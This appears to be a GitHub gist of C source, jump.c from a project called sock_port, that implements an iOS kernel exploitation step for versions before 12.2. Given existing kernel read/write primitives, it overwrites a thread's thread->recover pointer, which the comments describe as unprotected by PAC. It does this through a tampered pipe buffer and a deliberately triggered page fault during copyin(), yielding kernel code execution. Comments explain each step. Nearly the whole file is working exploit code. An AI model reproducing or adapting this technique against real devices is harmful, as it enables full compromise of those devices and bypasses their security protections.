Last active
July 30, 2019 10:12
-
-
Save jakeajames/e48dc0bb0c202178421fc9ae0dc53f0d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// jump.c | |
// sock_port | |
// | |
// Created by Jake James on 7/14/19. | |
// Copyright © 2019 Jake James. All rights reserved. | |
// | |
#include <sys/mman.h> | |
void jump(uint64_t ptr) { | |
// discovered by bazad | |
// patched in 12.2 | |
/* when a page fault occurs (i.e. when something tries to access unmapped memory) the kernel will execute a handler function in the thread that caused the page fault, that function is set in the thread's structure on the kernel when a copying operation using memcpy() occurs (thread->recover). this pointer is unprotected from PAC so we can overwrite it. but since pointer is set when copying starts and is unset when it ends we need to overwrite it *while* copying *and* *after* we do that we need to trigger a page fault, still *while* copying. | |
a way to do that is simple: memcpy(handler_func, ptr, a_number_bigger_than_8), where handler_func is address of thread->recover, ptr is a pointer pointing 8 bytes before the end of a page and what comes after must be unmapped. so, kernel copies 8 bytes, finds unmapped memory, fault occurs, it jumps to the handler which was just overwritten with 8 custom bytes. boom, code execution | |
but, how do u run memcpy() in the kernel like that?? see below | |
*/ | |
// get some stuff ready | |
mach_port_t p = mach_thread_self(); // our thread port | |
uint64_t paddr = FindPortAddress(p); // thread port address | |
uint64_t thread = KernelRead_64bits(paddr + 0x68); // thread address | |
// the thing we'll overwrite, thread->recover | |
#if __arm64e__ | |
uint64_t thread_func_addr = thread + 0x348; | |
#else | |
uint64_t thread_func_addr = thread + 0x340; | |
#endif | |
uint8_t *pages = malloc(0x8000); // allocate two pages | |
mprotect(pages + 0x4000, 0x4000, PROT_NONE); // make the second page inaccessible | |
uint8_t *addr = pages + 0x4000 - 8; // we will write our pointer at the end of the first page | |
*(uint64_t*)addr = ptr; // write our target pc into the last 8 bytes | |
// thx Siguza | |
/* the idea is this: | |
- we create a pipe, which consists of two file descriptors, one for reading and one for writing. | |
- when we use write() on the writing fd, it will write the buffer on the reading fd's structure | |
- but we can patch the read fd's struct, thus controlling where we write. an important note is that data from us to the kernel buffer will end up using copyin() which uses memcpy(), what we wanted to execute! | |
*/ | |
// create a pipe | |
int fds[2]; | |
int ret = pipe(fds); | |
if (ret) { | |
printf("[-] pipe() error: %d (%s)\n", errno, strerror(errno)); | |
return; | |
} | |
int rfd = fds[0]; // the read file descriptor (where data will be written) | |
int wfd = fds[1]; // the write file descriptor | |
uint64_t proc = proc_of_pid(pid); | |
uint64_t p_fd = KernelRead_64bits(proc + off_p_fd); | |
uint64_t fd_ofiles = KernelRead_64bits(p_fd); | |
uint64_t fproc = KernelRead_64bits(fd_ofiles + rfd * 8); | |
uint64_t f_fglob = KernelRead_64bits(fproc + 8); | |
uint64_t pipe_struct = KernelRead_64bits(f_fglob + 56); // get the "struct pipe" of our read file descriptor | |
KernelWrite_64bits(pipe_struct + 16, thread_func_addr); // our data will end up on pipe->pipe_buffer.buffer (offset 16), so overwrite that with the thing we want to write into | |
write(wfd, addr, 9); // this will write 8 bytes then trigger a fault, which will execute thread->recover | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment